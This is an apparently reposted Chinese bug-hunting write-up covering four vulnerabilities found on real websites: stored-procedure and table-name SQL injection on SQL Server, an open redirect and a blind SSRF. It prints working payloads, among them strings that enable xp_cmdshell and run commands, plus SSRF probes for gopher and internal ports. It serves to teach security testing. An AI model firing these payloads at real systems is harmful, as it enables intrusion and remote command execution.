0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

四個有趣的真實漏洞挖掘案例

jf_Fo0qk3ln ? 來源:博客園 ? 2023-05-04 11:50 ? 次閱讀

0x00 前言

好久沒寫真實漏洞挖掘案例了,今天寫一筆。直接發(fā)漏洞細節(jié)很生硬,大家也學不到什么,只有帶入感情,留下筆者的想法,才能產(chǎn)生共鳴,真正的幫助到別人。

四個漏洞描述順序:

存儲過程sql注入;
table頭注入;
通用的url跳轉;
盲ssrf漏洞;

0x01 存儲過程sql注入

首先我先介紹我近期挖到的第一個漏洞:sql server exec存儲過程處 sql injection。

這是我在挖國外遇到的一個網(wǎng)站,遇到的一個真實案例,一個后臺的某個功能點,存在存儲過程sql注入,使用單引號測試,發(fā)現(xiàn)他報錯了。

ERROR:[Microsoft][ODBC SQL Server Driver][SQL Server]Procedure or function 'proc_*' expects parameter '@linked', which was not supplied.

這個報錯很特別,和我平時看到的sql server報錯信息不一樣,我第一時間去谷歌搜索了下這個報錯信息,很快就找到了一篇文章。

https://stackoverflow.com/questions/19703653/stored-procedure-or-function-expects-parameter-which-is-not-supplied

stackoverflow查看網(wǎng)站報錯信息真的很方便,很方便幫我們判斷使用了哪些技術. 雖然我英語很差,但是谷歌瀏覽器自帶的翻譯功能就夠了,很快我就知道這是個sql server的存儲過程報錯。

話說回來,不通過谷歌搜索報錯語句,通過單引號報錯,其實就可能猜出來個大概。

我還是很常規(guī)的測試,因為報錯了,所以我企圖用最簡單的方法讓其報錯出user/database等,嘗試poc:

'and 1>user and'1'='1
'and user<0 and '1'='1

發(fā)現(xiàn)沒有出user,甚至仍然報錯,其實這是正常的。后續(xù)測試發(fā)現(xiàn),只要我在后面添加內容,他就會一直報錯...,他好像不允許添加過多的注入payload

4049d594-e861-11ed-ab56-dac502259ad0.png ?

我開始從報錯注入,轉為布爾類型注入測試:

'and iif(user like '%25',1,1) and'1'='1
?

類似這樣的payload,結局是淚目的,語句又是各種報錯。我發(fā)現(xiàn)不能再這樣搞了,這樣搞的話思路肯定不對。

先從理解sql報錯信息開始,理解存儲過程,sql server的存儲過程的語法是這樣的:

exec 任意語句 / exec 'sql語句'

它本身其實不需要任何單引號的閉合,因為它不是字符串類型注入,重新調整測試,測試就是學習的過程,再次上payload:

13 if(substring(db_name(),1,1)='*')waitfor delay'03'

一頓fuzz,延時3s:

4072f848-e861-11ed-ab56-dac502259ad0.png ?

說明我的這個poc沒有問題,一開始踩了一個坑,一個認知問題,慣性思維導致的錯誤。

mysql下的ifif(條件,結果1,結果2)
sql server下的ifif(條件) 結果 else (結果)

這里誤以為sql server的if也是和mysql的if使用一樣,其實完全不一樣,sql server等同mysql if函數(shù)的是iif函數(shù).

我們知道,sql server報錯有個很爽的技巧就是基于類型錯誤:int+varchar,嘗試報錯出db_name()。

報錯注入poc:

13 if(1=0/db_name())waitfor delay'01'
40883924-e861-11ed-ab56-dac502259ad0.png ?

至此,這個注入算搞定了,我可以提交了。

0x02 table頭注入

第二個分享的案例仍然是注入,sql server table頭注入,有意思的地方在于rce處,利用一個sql server特性我rce了它。

某天我挖一個站,發(fā)現(xiàn)一個功能點存在注入,是那種很常規(guī)的注入,通過查看js,我發(fā)現(xiàn)了一個接口

https://xxx.com/1.aspx?plugin=*&action=*&navigationid=1&table={注入點}

我看到了table參數(shù),我覺得這可能是sql server table頭注入,這是經(jīng)常做安全測試的一種直覺,我直接輸入了sysobject,他給我大量返回了信息:

40a21e16-e861-11ed-ab56-dac502259ad0.png我很驚喜,那么它代碼的實現(xiàn)很大可能是:
select * from {可控點}

那么我可以做的事情變得很多很多,這個注入利用成本很低,我覺得他就是個任意sql語句執(zhí)行漏洞。

我嘗試rce,為了再次確定他是表頭注入,我嘗試在可控點處添加where等條件語句,嘗試Payload。

sysobjects where xtype='u' #查詢數(shù)據(jù)庫中的所有表名

40c2dbe2-e861-11ed-ab56-dac502259ad0.png

很幸運,沒任何報錯,直接響應了。40f39e8a-e861-11ed-ab56-dac502259ad0.png

我開始嘗試rce,我們都知道sql server rce的條件是需要支持堆疊,我嘗試;waitfor delay '03';直接給我報錯了,那么大概率可能不支持堆疊查詢

不過這個注入點非常特別,是表頭注入,它滿足一定的條件,即使不支持堆疊,只要權限夠高,我們也可以rce。

先開啟xp_cmdshell擴展:

sysobjects+select+1+if+1%3d1+execute('EXEC+sp_configure+''show+advanced+options'',+1%3bRECONFIGURE%3bEXEC+sp_configure+''xp_cmdshell'',+1%3bRECONFIGURE%3b')

執(zhí)行命令:

sysobjects+select+1++if+1%3d1+execute('exec+master..xp_cmdshell+"whoami"')

直接頁面顯示了whoami信息:

41097e58-e861-11ed-ab56-dac502259ad0.png

我是幸運的,很快,我就提交了漏洞給相關廠商。

因為是表頭注入,所以不需要堆疊了,因為sql server的select支持 select x select x

41217080-e861-11ed-ab56-dac502259ad0.png

sql server容錯率很強大,不同類型在一起不會報錯,會做自動區(qū)分。

414f1ad0-e861-11ed-ab56-dac502259ad0.png418330ae-e861-11ed-ab56-dac502259ad0.png

第二個漏洞分享結束,開始第三個url跳轉漏洞分享。

0x03 通用的url跳轉

其實有時候,運氣不是總是很好,漏洞也很難挖,連續(xù)好幾天,我都沒挖到漏洞,我在那邊胡亂看著,瞎點著。

有一個站引起了我的興趣,他的注冊接口是這樣的。
https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx

我對url參數(shù)比較敏感,通常我會測試ssrf/xss,即使他大概率不存在,我也會測試下,很顯然,半自動化工具沒有發(fā)現(xiàn)任何ssrf和xss漏洞。

我注冊了一個賬號,我嘗試登錄,它告訴我,我的賬號需要審核,我嘗試繞過,我也沒有繞過它。

我發(fā)現(xiàn)我沒發(fā)現(xiàn)漏洞了,那我就隨便看看吧,我都不抓包了,右鍵查看源代碼,發(fā)現(xiàn)了這么一段代碼,以前我就經(jīng)常做js代碼審計,這段代碼我不會陌生。

if(location.hash){location="https://hostname"+location.hash.substring(1);}

稍微學過一點js的也不會陌生,不過我們還是要走一遍基礎的測試流程,它使用location.hash.*去傳遞參數(shù)。

這個就是錨點符,常用于站內url跳轉,記錄#/后面的內容,其實這里的本意是做站內url跳轉用的,不過這里沒在hostname結尾處加/這個字符串,導致可以任意跳轉。

我們簡單測試下:

419ea8c0-e861-11ed-ab56-dac502259ad0.png

那么如果我們想任意url跳轉怎么辦???

只需要讓location.hash.substring(1)變成另一個我們的域名即可,構造poc如下:
http://example.com/#.dnslog.cn
他會直接跳轉出信任域,實現(xiàn)任意頁面url跳轉41b673f6-e861-11ed-ab56-dac502259ad0.png

除了這樣還可以通過@domain去跳轉到第三方網(wǎng)站,更加方便?。?!

他的修復方案也很簡單:

if(location.hash){location="https://hostname/"+location.hash.substring(1);}

至此第三個漏洞就分享完了。

0x04 盲ssrf漏洞

現(xiàn)在分享最后一個漏洞,就是盲的ssrf漏洞。前面我說過,我看到url參數(shù),我就會嘗試下ssrf/xss漏洞,這里我發(fā)現(xiàn)了一個圖片加載功能,存在ssrf。首先在分享ssrf實戰(zhàn)案例之前,先分享個ssrf安全測試圣經(jīng):https://github.com/cujanovic/SSRF-Testing

github上提供的測試用例:

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

如果想探測是否開放gopher,又不想觸發(fā)waf怎么做?

https://ssrf.localdomain.pw/img-without-body/301-gopher-{dnslog.cn}-.i.jpg

這個url地址是可以變化的,測試什么協(xié)議就變成什么協(xié)議,其他測試樣本不再舉例,類似的,都可以隨意轉換

這里嘗試301跳轉:

41d1f37e-e861-11ed-ab56-dac502259ad0.pngdnslog成功收到請求,注意User-Agent,是libwww,perl的一個請求依賴庫:
GET / HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.net
User-Agent: ImageVacuum/2.3.10 libwww-perl/6.57
使用上面的思路,測試下敏感協(xié)議,gopher協(xié)議:4221117a-e861-11ed-ab56-dac502259ad0.png

有反應,說明大概率是支持gopher協(xié)議的,那么它到底支持不支持呢?

通過查看github libwww代碼,就可以得到答案,他支持這些協(xié)議,其中包含gopher協(xié)議。

42357a66-e861-11ed-ab56-dac502259ad0.png

這樣我們就可以使用gopher協(xié)議去批量fuzz探測內網(wǎng)redis等服務,這個點到此為止。

下面繼續(xù)科普下盲的ssrf怎么探測?因為一般信息收集不全的情況下,我們沒什么內網(wǎng)ip地址,那么我們怎么證明是盲ssrf呢?

本地ip:存在端口 vs 本地ip:大概率不存在的端口

25端口提示我圖片類型不對:

42705906-e861-11ed-ab56-dac502259ad0.png250端口,提示我連接被拒絕428635be-e861-11ed-ab56-dac502259ad0.png這樣就可以證明這是個盲的ssrf,它可以探測內網(wǎng)端口開放情況,然后因為它又支持gopher等敏感協(xié)議,它可以fuzz內網(wǎng)redis,嘗試shell等,危害將會大大升級。 至此,已經(jīng)分享完了四個漏洞,通過我的所思所想,希望能給大家?guī)硪恍└形?,我該去做飯吃了?/span>
審核編輯 :李倩

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權轉載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • 存儲
    +關注

    關注

    13

    文章

    4226

    瀏覽量

    85580
  • SQL
    SQL
    +關注

    關注

    1

    文章

    753

    瀏覽量

    44032
  • 漏洞
    +關注

    關注

    0

    文章

    203

    瀏覽量

    15352

原文標題:四個有趣的真實漏洞挖掘案例

文章出處:【微信號:菜鳥學信安,微信公眾號:菜鳥學信安】歡迎添加關注!文章轉載請注明出處。

收藏 人收藏

    評論

    相關推薦

    IGBT的四個主要參數(shù)

    IGBT的四個主要參數(shù)對于選擇合適的IGBT器件至關重要。本文將介紹IGBT的四個主要參數(shù):電壓等級、電流等級、開關頻率和熱性能。 1. 電壓等級 電壓等級是IGBT的一重要參數(shù),它決定了IGBT能夠承受的最大電壓。電壓等級的
    的頭像 發(fā)表于 07-25 11:05 ?2313次閱讀

    四個2輸入正極和柵極74AC11008數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個2輸入正極和柵極74AC11008數(shù)據(jù)表.pdf》資料免費下載
    發(fā)表于 05-28 09:43 ?0次下載
    <b class='flag-5'>四個</b>2輸入正極和柵極74AC11008數(shù)據(jù)表

    四個2輸入異或門數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個2輸入異或門數(shù)據(jù)表.pdf》資料免費下載
    發(fā)表于 05-22 09:58 ?0次下載
    <b class='flag-5'>四個</b>2輸入異或門數(shù)據(jù)表

    四個2輸入正極和柵極數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個2輸入正極和柵極數(shù)據(jù)表.pdf》資料免費下載
    發(fā)表于 05-17 10:28 ?0次下載
    <b class='flag-5'>四個</b>2輸入正極和柵極數(shù)據(jù)表

    四個2輸入正極和柵極數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個2輸入正極和柵極數(shù)據(jù)表.pdf》資料免費下載
    發(fā)表于 05-16 10:22 ?0次下載
    <b class='flag-5'>四個</b>2輸入正極和柵極數(shù)據(jù)表

    四個2輸入異或門數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個2輸入異或門數(shù)據(jù)表.pdf》資料免費下載
    發(fā)表于 05-13 11:04 ?0次下載
    <b class='flag-5'>四個</b>2輸入異或門數(shù)據(jù)表

    四個2輸入正極和柵極數(shù)據(jù)表

    電子發(fā)燒友網(wǎng)站提供《四個2輸入正極和柵極數(shù)據(jù)表.pdf》資料免費下載
    發(fā)表于 05-10 10:10 ?0次下載
    <b class='flag-5'>四個</b>2輸入正極和柵極數(shù)據(jù)表

    有源晶振四個腳是如何定義的?

    有源晶振四個腳是如何定義的?有源晶振型號類型比較多,而且每一種型號的引腳定義都有所不同,接法也不是通用的。下面小揚介紹一下有源晶振常用引腳識別法,以方便大家:有點標記的為1腳,按逆時針(管腳向下)分別為2、3、4。
    的頭像 發(fā)表于 04-28 15:37 ?1469次閱讀
    有源晶振<b class='flag-5'>四個</b>腳是如何定義的?

    半導體發(fā)展的四個時代

    臺積電的 Suk Lee 發(fā)表了題為“摩爾定律和半導體行業(yè)的第四個時代”的主題演講。Suk Lee表示,任何試圖從半導體行業(yè)傳奇而動蕩的歷史中發(fā)掘出一些意義的事情都會引起我的注意。正如臺積電所解釋
    發(fā)表于 03-27 16:17

    半導體發(fā)展的四個時代

    臺積電的 Suk Lee 發(fā)表了題為“摩爾定律和半導體行業(yè)的第四個時代”的主題演講。Suk Lee表示,任何試圖從半導體行業(yè)傳奇而動蕩的歷史中發(fā)掘出一些意義的事情都會引起我的注意。正如臺積電所解釋
    發(fā)表于 03-13 16:52

    四個引腳無源晶振的接線方法

    無源晶振是一種常用的被動元件,用于產(chǎn)生穩(wěn)定的時鐘信號。它通常有四個引腳,分別是VCC、GND、OUT和NC。
    的頭像 發(fā)表于 01-23 18:15 ?5957次閱讀

    氮化鎵開關管的四個電極是什么

    氮化鎵開關管是一種新型的半導體器件,適用于高頻高壓控制信號的開關應用。它由四個電極組成,包括柵極(G,Gate)、源極(S,Source)、漏極(D,Drain)和襯底(B,Body)。 首先,我們
    的頭像 發(fā)表于 12-27 14:39 ?1020次閱讀

    SMT絲印技術的歷史發(fā)展的四個階段,你知道嗎?

    SMT絲印技術的歷史發(fā)展的四個階段,你知道嗎?
    的頭像 發(fā)表于 12-27 10:15 ?823次閱讀

    四個問題幫你確定是否需要采用有源電纜(AEC)解決方案

    四個問題幫你確定是否需要采用有源電纜(AEC)解決方案
    的頭像 發(fā)表于 12-05 14:38 ?952次閱讀
    <b class='flag-5'>四個</b>問題幫你確定是否需要采用有源電纜(AEC)解決方案

    vlookup函數(shù)的四個參數(shù)含義

    VLOOKUP函數(shù)是一種用于在Excel中查找和提取數(shù)據(jù)的功能強大的函數(shù)。它的四個參數(shù)含義分別是:查找值、查找范圍、返回列索引和區(qū)域或表標志。 首先,讓我們來詳細了解這四個參數(shù)的含義,并討論如何正確
    的頭像 發(fā)表于 12-01 09:57 ?6843次閱讀